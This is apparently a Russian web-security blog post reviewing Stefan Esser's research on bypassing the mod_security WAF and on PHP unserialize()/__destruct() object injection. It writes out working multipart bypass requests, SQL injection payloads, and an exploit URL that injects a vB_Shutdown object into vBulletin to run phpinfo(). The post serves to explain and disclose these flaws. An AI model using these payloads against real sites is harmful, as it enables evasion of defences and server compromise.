Новые способы обхода WAF и PHP эксплоиты

Новые способы обхода WAF и PHP эксплоиты

Стефан Эссер снова порадовал очередной порцией свежей информации о новых уязвимостях в своих выступлениях сразу на двух мероприятиях (RSS09 и Powerofcommunity). В частности, он поделился интересными способами обхода таких WAF как mod_security и F5 BIGIP ASM, информацией о возможных уязвимостях в продуктах, работающих на Zend Framework, а также о том, как можно использовать уязвимость, связанной с прерываниями внутренних функций в PHP, несмотря на выпущенные фиксы. Итак, обо всем по порядку.



Обход WAF стал в последнее время очень популярной темой, о чем свидетельствуют последние исследования. Как всегда, под прицелом самый известный из файрволов – mod_security.PВ последних обновлениях базового набора правил (CORERULES) были включены правила из другого не менее известного продукта из этой же категории – PHP-IDS. Однако сделано это было не совсем правильно. Например, эти правила пропускают запрос, если в его теле был обнаружен заголовок Content-Type со значением multipart/form-data, что обычно указывает на передачу файлов. Вместе с тем некоторые другие правила из CORERULES также подвержены этой ошибке, а следующий запрос полностью обходит всю фильтрацию очень простым способом:


POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx--
------xxxx
Content-Disposition: form-data; name="msg"
With only CORERULES installed you can speak about wget
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--

Примечательно, что Стефан уже публиковал advisory, в котором был предложен похожий способ, но с применением нулл-байта.


Следующий способ обхода mod_security актуален, когда помимо CORERULES используется дополнительное правило MULTIPART_STRICT_ERROR. В предложенном эксплоите, хотя и не упоминается, используется техника HTTP Parameter Pollution:


POST /test.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (...) Gecko/1234 Firefox/3.5.3
Content-Length: ...
Content-Type: multipart/form-data; boundary=----xxxx
------xxxx
Content-Disposition: form-data; name=';filename="';name=payload;"
For ModSecurity I am a file - bypassing all rules
------xxxx
Content-Disposition: form-data; name="multi"
submit
------xxxx--

Еще один способ обхода основывается на том, что mod_security перед анализом запроса проводит его корректирование с помощью нескольких функций, в числе которых функция для очистки запроса от комментариев. Этот способ, на самом деле, был найден впервые Дмитрием Евтеевым, так как сообщение о нем было опубликовано в его блоге немного раньше. Впрочем, предложенные примеры обхода совершенно разные, что доказывает независимость их исследований. Сравните:


index.php?x=/*&var= UNION SELECT * FROM user /*

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

Мне, например, больше нравится второй способ (от Дмитрия), так как он не вызывает ошибку при незакрытом многострочном комментарии (в версиях MySQL от 5.0.50 и 5.1.23 требуется закрывать комментарий).



Последний способ обхода WAF касается коммерческого F5 BIGIP ASM, и также связан с multipart/form-data; пример обхода смотрите в слайдах (ссылка в конце).


Следующая часть посвящена уязвимости в веб-приложениях на PHP, связанной с функцией unserialize()Pи методом классов __destruct(). ФункцияPunserialize() используется для преобразованияPсериализованных данных в значение. Она поддерживает такие типы переменных, как строка, число, массив, и, что самое главное, объект. Сериализованные данные обычно не поступают от пользователя, но если веб-приложение допускает такую возможность, то это становится очень серьезной проблемой в безопасности. Здесь стоит вспомнить очень старую уязвимость в phpbb 2.0.12, которая позволяла получить администраторские привилегии в виду неправильной проверки данных из cookie (они передавались сериализованными и без какой-либо проверки на изменения со стороны пользователя). Уязвимый код выглядел таким образом:


<?php
if( $sessiondata['autologinid'] == $auto_login_key ) {
/* ... */
}

Переменная $auto_login_key имела булево значение true, если передавались такие данные:


a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}

В следующей версии phpbb баг был исправлен заменой оператора сравнения == на ===. В веб-приложениях нынешнего поколения все чаще применяется объектно-ориентированный подход, что открывает возможности для новых атак. В PHP для классов можно определить метод __destruct(), который вызывается всякий раз, когда приложение завершает свою работу (перед отправкой HTTP-ответа). Обычно в деструкторе можно встретить функции, которые завершают текущее соединение с базой данных, удаляют какие-либо временные файлы или локальные переменные. Чем же может быть интересен этот метод? А дело в том, что __destruct()P какого-либо объявленного в коде класса вызывается, если десериализовать объект этого класса. Например:


<?php
class Test {
public function __destruct() {
echo 'test';
}
}
unserialize('O:4:"Test":0:{}');

После запуска этого сценария будет выведена строка test. PКак пишет Стефан, он долго искал полезный __destruct(), и в конце концов его поиски увенчались успехом. Речь идет о Zend Framework, являющийся огромным фреймворком с массой классов с деструкторами. Сам ZF не подвержен данной уязвимости, однако приложения, базирующиеся на нем, если допускают попадание пользовательских данных в unserialize(), могут быть с легкостью скомпрометированы. Здесь и выполнение любого кода, и загрузка произвольных файлов, в общем, практически любые действия. ZF имеет очень запутанную структуру, и понять примеры Стефана довольно трудно. Поэтому я решил показать на примере VBulletin, вернее на нулленной вобле нелицензионной версии форума.


В PVBulletin имеется класс vB_Shutdown, который представляет интерфейс для удобного вызова функций при завершении работы форума. Этот класс имеет следующий деструктор:


<?php
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}

Очевидно, что создав объект этого класса со свойством shutdown равным, скажем, phpinfo, мы увидим результат работы этой функции. Вместе с этим, благоприятным является тот факт, что vbulletin активно использует сериализованные данные в параметрах. Однако система не дает просто так менять данные – имеется функция, которая проверяет их достоверность:


<?php
function verify_client_string($string, $extra_entropy = '')
{
/* ... */
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
/* ... */

if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}

return false;
}

Из кода следует, что для подделки сериализованных данных необходимо знать значение константы COOKIE_SALT, которая равна лицензионному ключу. Кроме того, можно самостоятельно указать это значение путем правки конфигурационного файла ($config['Misc']['cookie_security_hash']). В нелицензионных копиях форума по умолчанию значение COOKIE_SALT пустое, поэтому данная функция не играет никакой роли.

В коде форума unserialize() встрчается множество раз, вот один из них (forumdisplay.php):


<?php
if ($vbulletin->GPC['postvars'] != '')
{
if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
{
$temp = unserialize($check);
/* ... */
}
}

Таким образом, эксплоит для выполнения phpinfo() выглядит так:


/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}

Возвращаясь к Zend Framework, стоит сказать, что подобной уязвимости подвержены такие приложения как Magento, Zend Server и PHP-IDS. Последний в сочетании с ZF не только не защищал (до версии 0.6.3.1), но открывал очень простой ход на сервер, так как перед проверкой данных зачем-то пытался их десериализовать.


Вот собственно и все. В слайдах имеется еще одна часть, посвященная так называемым Interruption Vulnerabilities, с которой вы можете ознакомиться по ссылке ниже.


Shocking News In PHP Exploitation


P.S. компания Стефана выпустила постеры для разработчиков, где представлено много полезной информации о безопасном программировании на PHP. Постеры совершенно бесплатны, заказать можно здесь.


Обзоры exploit php waf взлом
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

Арсений Реутов

блог о web-безопасности

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS